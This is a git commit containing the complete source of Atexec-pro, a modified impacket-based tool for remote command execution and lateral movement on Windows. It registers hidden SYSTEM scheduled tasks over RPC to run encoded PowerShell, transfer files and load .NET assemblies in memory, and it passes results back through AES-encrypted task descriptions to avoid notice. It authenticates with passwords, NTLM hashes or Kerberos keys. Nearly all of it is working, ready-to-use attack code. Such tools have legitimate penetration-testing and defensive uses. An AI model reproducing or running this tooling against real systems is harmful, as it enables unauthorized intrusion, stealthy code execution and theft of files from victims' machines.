This commit is contained in:
Ridter
2024-03-27 17:15:25 +08:00
commit 8cba03d2a1
14 changed files with 785 additions and 0 deletions
+77
View File
@@ -0,0 +1,77 @@
# Atexec-pro
Modified based on [atexec.py](https://github.com/fortra/impacket/blob/master/examples/atexec.py).
The TSCH service is used by default(neet port 135) and port 445 is no longer required.
>ATSVC need port 445
The technology is mainly based on [this article](https://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.3_from_RPC_to_lateral_movement.html) by [zcgonvh](https://github.com/zcgonvh).
## Features
* CMD command execute
* PS command execute
* File Upload
* File Download
* .Net assembly execute
* Support ATSVC and TSCH interface.
>Note: functions `upload`, `download` and `execute-assembly` currently only support files up to `1MB` in size. All functions do not bypass AMSI.
## Usage
```
usage: atexec-pro.py [-h] [-i {TSCH,ATSVC}] [-session-id SESSION_ID] [-ts] [-debug] [-codec CODEC] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
[-dc-ip ip address] [-keytab KEYTAB]
target
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
options:
-h, --help show this help message and exit
-i {TSCH,ATSVC}, --interface {TSCH,ATSVC}
Interface to use.
-session-id SESSION_ID
an existed logon session to use (no output, no cmd.exe)
-ts adds timestamp to every logging output
-debug Turn DEBUG output ON
-codec CODEC Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run chcp.com at the target, map the result with
https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py again with -codec and the corresponding codec
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found,
it will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-keytab KEYTAB Read keys for SPN from keytab file
```
## example
### GetShell
```
python atexec-pro.py localhost/administrator:123@10.211.55.3
```
![alt text](assets/image.png)
### Command
![alt text](assets/image-1.png)
### .Net assembly
![alt text](assets/image-2.png)
### Upload/Download
![alt text](assets/image-3.png)
## References
* [impacket](https://github.com/fortra/impacket)
* [Advanced Windows TaskScheduler Playbook - Part.3 from RPC to lateral movement](https://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.3_from_RPC_to_lateral_movement.html)
* https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/eb12c947-7e20-4a30-a528-85bc433cec44
* https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/400d77fe-2f1a-4a8e-a90b-a8f82fad5a20
Binary file not shown.

After

Width:  |  Height:  |  Size: 183 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 127 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 149 KiB

+212
View File
@@ -0,0 +1,212 @@
#!/usr/bin/env python
import sys
import argparse
import logging
import cmd2
from cmd2 import Bg,Fg,style
from cmd2 import Statement
import os
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.krb5.keytab import Keytab
from libs.tsch import TSCH_EXEC
CODEC = sys.stdout.encoding
class AtShell(cmd2.Cmd):
CMD_RUN = style("Run Command", fg=Fg.WHITE, bg=Bg.LIGHT_RED, bold=True)
CMD_LOCAL = style("Local Command", fg=Fg.WHITE, bg=Bg.LIGHT_BLUE, bold=True)
CMD_POST = style("Post Exploitation", fg=Fg.WHITE, bg=Bg.LIGHT_GREEN, bold=True)
def __init__(self, username, password, domain, hashes, aesKey, k, dc_ip, session_id, address, interface,CODEC):
super().__init__(allow_cli_args=False, include_ipy=False)
delattr(cmd2.Cmd, 'do_macro')
delattr(cmd2.Cmd, 'do_edit')
delattr(cmd2.Cmd, 'do_py')
delattr(cmd2.Cmd, 'do_run_pyscript')
delattr(cmd2.Cmd, 'do_run_script')
delattr(cmd2.Cmd, 'do_shortcuts')
delattr(cmd2.Cmd, 'do_quit')
self.self_in_py = False
self.maxrepeats = 3
self.prompt = 'ATShell (%s@%s)> ' % (username, address)
self.at_op = TSCH_EXEC(username, password, domain, hashes, aesKey, k, dc_ip, session_id, CODEC)
self.at_op.play(address, interface)
self.intro = style('[+] Type help for list of commands.', fg=Fg.WHITE, bg=Bg.DARK_GRAY, bold=True) + ' 🚀'
def do_set(self, args):
"""Set a configuration option"""
args = args.split()
if len(args) != 2:
self.poutput("Usage: set <option> <value>")
return
option, value = args
if option == "debug":
if value.lower() == "true":
logging.getLogger().setLevel(logging.DEBUG)
elif value.lower() == "false":
logging.getLogger().setLevel(logging.INFO)
else:
self.poutput("Invalid value. Use true or false.")
super().do_set(" ".join(args))
def complete_set(self, text, line, begidx, endidx):
debug_choices = ['true', 'false']
if 'debug' not in line:
# Use basic_complete method for other options
return self.basic_complete(text, line, begidx, endidx, self.settables)
else:
return [choice for choice in debug_choices if choice.startswith(text)]
def do_shell(self, s):
"""Executes a local shell command"""
os.system(s)
def do_lcd(self, s):
"""Changes the local directory"""
if s == '':
print(os.getcwd())
else:
try:
os.chdir(s)
except Exception as e:
logging.error(str(e))
up_parse = cmd2.Cmd2ArgumentParser()
up_parse.add_argument('local', type=str, help='Local file to upload')
up_parse.add_argument('remote', type=str, help='Remote file to upload')
@cmd2.with_argparser(up_parse)
def do_upload(self, s):
"""Uploads a file to the target"""
local = s.local
remote = s.remote
self.at_op.upload_file(local, remote)
down_parse = cmd2.Cmd2ArgumentParser()
down_parse.add_argument('remote', type=str, help='Remote file to download')
# set default to current directory
down_parse.add_argument('-l','--local', type=str, help='Local file to download', default="./", required=False)
@cmd2.with_argparser(down_parse)
def do_download(self, s):
"""Downloads a file from the target"""
remote = s.remote
local = s.local
self.at_op.download_file(remote, local)
ps_parse = cmd2.Cmd2ArgumentParser()
ps_parse.add_argument('command', type=str, help='Command to execute')
@cmd2.with_argparser(ps_parse)
def do_ps_exec(self, s):
"""Executes a powershell command on the target"""
s = s.command
logging.debug('Executing ps command: %s' % s)
self.at_op.execute_powershell(s)
cmd_parse = cmd2.Cmd2ArgumentParser()
cmd_parse.add_argument('command', type=str, help='Command to execute')
@cmd2.with_argparser(cmd_parse)
def do_cmd_exec(self, s):
"""Executes a command on the target"""
command = s.command
logging.debug('Executing cmd command: %s' % command)
self.at_op.execute_cmd_command(command)
def do_execute_assembly(self, line):
"""Executes a .NET assembly on the target"""
input = line.split(" ")
if len(input) < 1 or len(line) == 0 :
logging.warning("Example: execute_assembly /tmp/Rubeus.exe hash /password:X")
return
if len(input) == 1:
prog = input[0]
args = ""
else:
prog = input[0]
args = " ".join(input[1:])
logging.debug('Executing assembly: %s, args: %s' % (prog, args))
self.at_op.execute_assembly(prog, args)
def default(self, statement: Statement):
self.at_op.execute_cmd_command(statement.command)
def do_exit(self, s):
"""Terminates the server process (and this session)"""
print('Bye!\n')
return True
def emptyline(self):
return False
cmd2.categorize((do_shell, do_lcd), CMD_LOCAL)
cmd2.categorize((do_ps_exec, do_cmd_exec), CMD_RUN)
cmd2.categorize((do_upload, do_download, do_execute_assembly), CMD_POST)
# Process command-line arguments.
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument("-i","--interface", action="store", help="Interface to use.", default="TSCH", choices=("TSCH","ATSVC"))
parser.add_argument('-session-id', action='store', type=int, help='an existed logon session to use (no output, no cmd.exe)')
parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
'"%s"). If errors are detected, run chcp.com at the target, '
'map the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '
'again with -codec and the corresponding codec ' % CODEC)
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. '
'If omitted it will use the domain part (FQDN) specified in the target parameter')
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
# Init the example's logger theme
logger.init(options.ts)
if options.codec is not None:
CODEC = options.codec
else:
if CODEC is None:
CODEC = 'utf-8'
logging.warning("This will work ONLY on Windows >= Vista")
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
domain, username, password, address = parse_target(options.target)
if domain is None:
domain = ''
if options.keytab is not None:
Keytab.loadKeysFromKeytab (options.keytab, username, domain, options)
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
shell = AtShell(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, options.session_id, address, options.interface, CODEC)
shell.cmdloop()
Binary file not shown.
+9
View File
@@ -0,0 +1,9 @@
$encryptionKey = [System.Convert]::FromBase64String("{key_b64}")
{common_ps}
$task = Get-ScheduledTask -TaskName "{taskname}" -TaskPath \;
$decryptedDescription = Decrypt-Data $encryptionKey $task.Description
$executionResult = iex $decryptedDescription | Out-String
$encryptedResult = Encrypt-Data $encryptionKey $executionResult
$task.Description = $encryptedResult
Set-ScheduledTask $task
[Environment]::Exit(0)
+33
View File
@@ -0,0 +1,33 @@
function ConvertTo-Base64($byteArray) {
[System.Convert]::ToBase64String($byteArray)
}
function ConvertFrom-Base64($base64String) {
[System.Convert]::FromBase64String($base64String)
}
function Encrypt-Data($key, $data) {
$aesManaged = New-Object System.Security.Cryptography.AesManaged
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aesManaged.Key = $key
$aesManaged.GenerateIV()
$encryptor = $aesManaged.CreateEncryptor()
$utf8Bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
$encryptedData = $encryptor.TransformFinalBlock($utf8Bytes, 0, $utf8Bytes.Length)
$combinedData = $aesManaged.IV + $encryptedData
return ConvertTo-Base64 $combinedData
}
function Decrypt-Data($key, $encryptedData) {
$aesManaged = New-Object System.Security.Cryptography.AesManaged
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$combinedData = ConvertFrom-Base64 $encryptedData
$aesManaged.IV = $combinedData[0..15]
$aesManaged.Key = $key
$decryptor = $aesManaged.CreateDecryptor()
$encryptedDataBytes = $combinedData[16..$combinedData.Length]
$decryptedDataBytes = $decryptor.TransformFinalBlock($encryptedDataBytes, 0, $encryptedDataBytes.Length)
return [System.Text.Encoding]::UTF8.GetString($decryptedDataBytes)
}
+27
View File
@@ -0,0 +1,27 @@
$target_file = "REPLACE_FILE_PATH"
$encryptionKey = [System.Convert]::FromBase64String("{key_b64}")
{common_ps}
$task = Get-ScheduledTask -TaskName "{taskname}" -TaskPath \;
# Check if file exists
if (Test-Path -Path $target_file) {{
try {{
# Read file content and encrypt it, then save it to task description
# Check if file is larger than 1MB
$fileInfo = Get-Item $target_file
if ($fileInfo.Length -gt 1048576) {{
$result = "[-] File is too large."
}}else{{
$result = Get-Content -Path $target_file -Encoding Byte
}}
}} catch {{
$result = $_.Exception.Message
}}
}}else{{
$result = "[-] File not exists."
}}
$encryptedResult = Encrypt-Data $encryptionKey $result
$task.Description = $encryptedResult
Set-ScheduledTask $task
[Environment]::Exit(0)
+37
View File
@@ -0,0 +1,37 @@
$encryptionKey = [System.Convert]::FromBase64String("{key_b64}")
{common_ps}
try {{
$task = Get-ScheduledTask -TaskName "{taskname}" -TaskPath \;
$decryptedDescription = Decrypt-Data $encryptionKey $task.Description
$pass_args = Decrypt-Data $encryptionKey "REPLACE_ARGS"
$args = $pass_args -split ' '
$assembly = [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($decryptedDescription))
$entryPoint = $assembly.EntryPoint
if ($entryPoint -ne $null) {{
$consoleOutput = [System.IO.MemoryStream]::new()
$streamWriter = New-Object System.IO.StreamWriter($consoleOutput)
$oldOut = [Console]::Out
[Console]::SetOut($streamWriter)
[string[]]$ARGS_NAME = @($args)
$null = $entryPoint.Invoke($null, [object[]](,$ARGS_NAME))
$streamWriter.Flush()
[Console]::SetOut($oldOut)
$consoleOutput.Position = 0
$streamReader = New-Object System.IO.StreamReader($consoleOutput)
$executionResult = $streamReader.ReadToEnd()
# Cleanup
$streamReader.Dispose()
$streamWriter.Dispose()
$consoleOutput.Dispose()
$encryptedResult = Encrypt-Data $encryptionKey $executionResult
}} else {{
Write-Host "No entry point found in assembly."
}}
}} catch {{
$executionResult = $_.Exception.Message
}}
$task.Description = $encryptedResult
Set-ScheduledTask $task
[Environment]::Exit(0)
+26
View File
@@ -0,0 +1,26 @@
$target_path = "REPLACE_FILE_PATH"
$encryptionKey = [System.Convert]::FromBase64String("{key_b64}")
{common_ps}
$task = Get-ScheduledTask -TaskName "{taskname}" -TaskPath \;
if (Test-Path -Path $target_path) {{
$result = "[-] File already exists."
}}else{{
try {{
$decryptedDescription = Decrypt-Data $encryptionKey $task.Description
# base64 decode get raw data and save it to file
$decodeData = ConvertFrom-Base64 $decryptedDescription
# if target path not exists, create it
$dir = Split-Path $target_path
if (!(Test-Path -Path $dir)) {{
New-Item -ItemType Directory -Path $dir
}}
$decodeData | Set-Content -Path "REPLACE_FILE_PATH" -Encoding Byte
$result = "[+] Success."
}} catch {{
$result = $_.Exception.Message
}}
}}
$encryptedResult = Encrypt-Data $encryptionKey $result
$task.Description = $encryptedResult
Set-ScheduledTask $task
[Environment]::Exit(0)
+361
View File
@@ -0,0 +1,361 @@
#!/usr/bin/env python
from __future__ import division
from __future__ import print_function
import string
import sys
import time
import random
import logging
import base64
import codecs
import os
from impacket.dcerpc.v5 import tsch, transport,epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, \
RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import base64
class TSCH_EXEC:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, sessionId=None, codec="utf-8"):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__codec = codec
self.__common_ps = ""
self.sessionId = sessionId
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
self.get_common_ps()
def check_file_size(self, data):
# Check if the file size is greater than 1MB
if len(data) > 1048576:
logging.error('File size is too big, please consider using a smaller file')
return False
return True
def get_common_ps(self):
with open('./libs/powershells/common.ps1', 'r') as f:
self.__common_ps = f.read()
def play(self, addr, interface):
if interface == "ATSVC":
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
else:
try:
stringbinding = epm.hept_map(addr, tsch.MSRPC_UUID_TSCHS, protocol="ncacn_ip_tcp")
except Exception as e:
logging.error("Connect error, error is {}".format(e))
sys.exit(1)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.check_logon(rpctransport, interface)
self.__rpctransport = rpctransport
def start_tsch(self, description, script, randomkey="",tmpName="", save=False, save_path=""):
try:
self.doStuff(self.__rpctransport, randomkey=randomkey, tmpName=tmpName, description=description, script=script, save=save, save_path=save_path)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:
logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work')
def execute_powershell(self, command):
with open('./libs/powershells/cmd.ps1', 'r') as f:
script = f.read()
self.start_tsch(command, script)
def execute_cmd_command(self, command):
if self.sessionId is not None:
cmd, args = self.cmd_split(command)
else:
cmd = "cmd.exe"
args = "/C %s" % (command)
command = cmd + ' ' + args
with open('./libs/powershells/cmd.ps1', 'r') as f:
script = f.read()
self.start_tsch(command, script)
def execute_assembly(self, prog, args):
with open('./libs/powershells/net.ps1', 'r') as f:
script = f.read()
if os.path.exists(prog) is False:
logging.error('File %s not found!' % prog)
return
with open(prog, 'rb') as f:
file_data = f.read()
if self.check_file_size(file_data) is False:
return
key = get_random_bytes(16)
encode_args = self.encrypt(key, args.lstrip())
file_data = base64.b64encode(file_data).decode('utf-8')
script = script.replace('REPLACE_ARGS', encode_args)
self.start_tsch(file_data, script, randomkey=key)
def upload_file(self, local, remote):
with open('./libs/powershells/upload.ps1', 'r') as f:
script = f.read()
if os.path.exists(local) is False:
logging.error('Local File %s not found!' % local)
return
with open(local, 'rb') as f:
file_data = f.read()
if self.check_file_size(file_data) is False:
return
# if remote is a directory, append the filename to the path
if remote[-1] == '/' or remote[-1] == '\\':
if "/" in local:
remote += local.split('/')[-1]
else:
remote += local.split('\\')[-1]
logging.info('Uploading %s to %s' % (local, remote))
file_data = base64.b64encode(file_data).decode('utf-8')
script = script.replace('REPLACE_FILE_PATH', remote)
self.start_tsch(file_data, script)
def download_file(self, remote, local):
with open('./libs/powershells/download.ps1', 'r') as f:
script = f.read()
# if local is a directory, append the filename to the path
if local[-1] == '/' or local[-1] == '\\':
if "/" in remote:
local += remote.split('/')[-1]
else:
local += remote.split('\\')[-1]
logging.info('Downloading %s to %s' % (remote, local))
script = script.replace('REPLACE_FILE_PATH', remote)
self.start_tsch("", script, save=True, save_path=local)
def output_callback(self,data):
try:
print(data.decode(self.__codec))
except UnicodeDecodeError:
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute atexec.py '
'again with -codec and the corresponding codec')
print(data.decode(self.__codec, errors='replace'))
def cmd_split(self, cmdline):
cmdline = cmdline.split(" ", 1)
cmd = cmdline[0]
args = cmdline[1] if len(cmdline) > 1 else ''
return [cmd, args]
def xml_escape(self, data):
replace_table = {
"&": "&amp;",
'"': "&quot;",
"'": "&apos;",
">": "&gt;",
"<": "&lt;",
}
return ''.join(replace_table.get(c, c) for c in data)
def encrypt(self, key, data):
cipher = AES.new(key, AES.MODE_CBC)
padded_data = pad(data.encode(), AES.block_size)
encrypted = cipher.encrypt(padded_data)
return base64.b64encode(cipher.iv + encrypted).decode()
def decrypt(self, key, encrypted_data):
raw = base64.b64decode(encrypted_data)
iv = raw[:AES.block_size]
encrypted = raw[AES.block_size:]
cipher = AES.new(key, AES.MODE_CBC, iv)
padded_data = cipher.decrypt(encrypted)
return unpad(padded_data, AES.block_size).decode()
def check_logon(self, rpctransport, intercate):
try:
dce = rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
if self.__doKerberos is True:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
if intercate == "TSCH":
as_user = f"{self.__domain}\\{self.__username}"
logging.info(f"Connecting to DCE/RPC as {as_user}")
tsch.hSchRpcHighestVersion(dce=dce)
logging.info("Successfully bound.")
except Exception as e:
logging.error(e)
sys.exit(1)
dce.disconnect()
return False
def doStuff(self, rpctransport, randomkey="", tmpName="",description="", script="", save=False, save_path=""):
dce = rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
if self.__doKerberos is True:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
if randomkey == "":
randomkey = get_random_bytes(16)
if tmpName == "":
tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
description = self.encrypt(randomkey, description)
ps_script = script.format(key_b64=base64.b64encode(randomkey).decode('utf-8'), common_ps=self.__common_ps, taskname=tmpName)
# logging.debug(ps_script)
# Encode the PowerShell script as a UTF-16LE byte string
byte_string = codecs.encode(ps_script, 'utf-16le')
# Base64 encode the UTF-16LE byte string
enc = base64.b64encode(byte_string)
# The result will be a byte string, if you need it as a string, decode it
encoded_string = enc.decode('ascii')
xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Description>{description}</Description>
</RegistrationInfo>
<Triggers>
<CalendarTrigger>
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT1M</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="LocalSystem">
<Exec>
<Command>powershell.exe</Command>
<Arguments>-NonInteractive -enc {ps_command}</Arguments>
</Exec>
</Actions>
</Task>
""".format(description=self.xml_escape(description), ps_command=self.xml_escape(encoded_string))
taskCreated = False
# logging.debug('task xml: %s' % xml)
try:
logging.debug('Creating task \\%s' % tmpName)
if logging.getLogger().level == logging.DEBUG:
with open('task.xml', 'w') as f:
f.write(xml)
logging.debug('Task xml size: %d' % len(xml))
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
taskCreated = True
logging.debug('Running task \\%s' % tmpName)
if self.sessionId is None:
resp = tsch.hSchRpcRun(dce, '\\%s' % tmpName)
else:
try:
resp = tsch.hSchRpcRun(dce, '\\%s' % tmpName, flags=tsch.TASK_RUN_USE_SESSION_ID, sessionId=self.sessionId)
except Exception as e:
if str(e).find('ERROR_FILE_NOT_FOUND') >= 0 or str(e).find('E_INVALIDARG') >= 0 :
logging.info('The specified session doesn\'t exist!')
done = True
else:
raise
# print the task guid
guid = resp['pGuid']
while True:
# Get the task status code with SchRpcGetTaskInfoResponse
# logging.debug('Calling SchRpcGetTaskInfoResponse for \\%s' % tmpName)
try:
resp = tsch.hSchRpcGetInstanceInfo(dce, guid)
taskState = resp['pState']
if taskState == tsch.TASK_STATE_RUNNING:
continue
except tsch.DCERPCSessionError as e:
logging.debug("Task is stopped")
break
except Exception as e:
logging.error(e)
break
time.sleep(1)
try:
logging.debug('Calling SchRpcRetrieveTask to get result for \\%s' % tmpName)
resp = tsch.hSchRpcRetrieveTask(dce, '\\%s' % tmpName)
# logging.debug('Task XML for \\%s' % tmpName)
resp_xml = resp['pXml']
# get the output from xml Description
output = resp_xml.split('<Description>')[1].split('</Description>')[0]
if output in xml:
logging.error('Execution failed, no output returned. Maybe the windows version is too old or ps killed by AV.')
else:
output = self.decrypt(randomkey, output)
if save is True:
try:
output = output.encode(self.__codec)
byte_array = bytes(int(b) for b in output.split())
with open(save_path, 'wb') as f:
f.write(byte_array)
except:
self.output_callback(output)
else:
self.output_callback(output.encode(self.__codec))
except Exception as e:
logging.error(e)
logging.debug('Deleting task \\%s' % tmpName)
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
taskCreated = False
except tsch.DCERPCSessionError as e:
logging.error(e)
e.get_packet().dump()
finally:
if taskCreated is True:
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
if self.sessionId is not None:
dce.disconnect()
return
dce.disconnect()
+3
View File
@@ -0,0 +1,3 @@
cmd2>=2.4.3
impacket>=0.11.0
pycryptodome>=3.20.0